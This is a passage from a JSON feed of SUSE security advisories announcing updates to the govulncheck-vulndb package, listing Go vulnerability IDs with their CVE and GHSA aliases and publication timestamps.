GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5026 CVE-2026-39821\n  * GO-2026-6225\n  * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n  * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n  * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n  * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n  * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n  * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n  * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n  * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n  * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n  * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n  * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n  * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n  * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n  * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n  * GO-2026-6267 GHSA-h58c-xccx-75m3\n  * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n  * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n  * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n  * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n  * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n  * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n  * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n  * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n  * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n  * GO-2026-6278 GHSA-w67g-5rqw-f597\n  * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n  * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n  * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n  * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n  * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n  * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n  * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n  * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n  * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n  * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n  * GO-2026-6289 GHSA-w8j7-39hp-8x59\n  * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n  * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n  * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n  * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n  * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n  * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n  * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n  * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n  * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n  * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n  * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n  * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n  * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n  * GO-2026-4950\n  * GO-2026-6093 GHSA-464c-974j-9xm6\n  * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n  * GO-2026-6095 GHSA-r277-6w6q-xmqw\n  * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n  * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n  * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n  * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n  * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n  * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n  * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n  * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n  * GO-2026-6105 GHSA-c534-2w9c-x7fm\n  * GO-2026-6106 GHSA-v6w6-358x-2433\n  * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n  * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n  * GO-2026-6109 GHSA-86cx-wwf4-phq4\n  * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n  * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n  * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n  * GO-2026-6113 GHSA-p6ph-3jx2-3337\n  * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n  * GO-2026-6115 CVE-2026-56867\n  * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n  * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n  * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n  * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n  * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n  * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n  * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n  * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n  * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n  * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n  * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n  * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n  * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n  * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n  * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n  * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n  * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n  * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n  * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n  * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n  * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n  * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n  * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n  * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n  * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n  * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n  * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n  * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n  * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n  * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n  * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n  * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n  * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n  * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n  * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n  * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n  * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n  * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n  * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n  * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n  * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n  * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n  * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n  * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n  * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n  * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n  * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n  * GO-2026-6166 CVE-2026-56868\n  * GO-2026-6168 CVE-2026-56869\n  * GO-2026-6169 CVE-2026-56870\n  * GO-2026-6170 CVE-2026-56871\n  * GO-2026-6171 CVE-2026-56872\n  * GO-2026-6172 CVE-2026-56873\n  * GO-2026-6173 CVE-2026-56874\n  * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n  * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n  * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n  * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n  * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n  * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n  * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n  * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n  * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n  * GO-2026-6190 GHSA-945v-v9p3-v5xw\n  * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n  * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n  * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n  * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n  * GO-2026-6197 GHSA-h4mf-4v27-hggj\n  * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n  * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n  * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n  * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n  * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n  * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n  * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n  * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n  * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n  * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n  * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n  * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n  * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n  * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n  * GO-2026-6216\n  * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n  * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n  * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n  * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n  * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n  * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n  * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n  * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n  * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n  * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n  * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n  * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n  * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n  * GO-2026-6237\n  * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n  * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n  * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n  * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n  * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n  * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n  * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n  * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n  * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n  * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n  * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n  * GO-2026-5942 CVE-2026-46600\n  * GO-2026-5972 CVE-2026-33818\n  * GO-2026-6088 CVE-2026-56859\n  * GO-2026-6089 CVE-2026-56853\n  * GO-2026-6090 CVE-2026-56862\n  * GO-2026-6091 CVE-2026-56858\n  * GO-2026-6179 CVE-2026-56865\n  * GO-2026-6180 CVE-2026-56864\n  * GO-2026-6218 CVE-2026-56860\n  * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n  Go CVE Numbering Authority IDs added or updated with aliases:\n\n  * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n  * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n  * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n  * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n  * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n  * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n  * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n  * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n  * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n  * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n  * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n  * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n  * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n  * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n  * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n  * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n  * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:32:03Z","modified":"2026-09-29T18:23:20.110594263Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}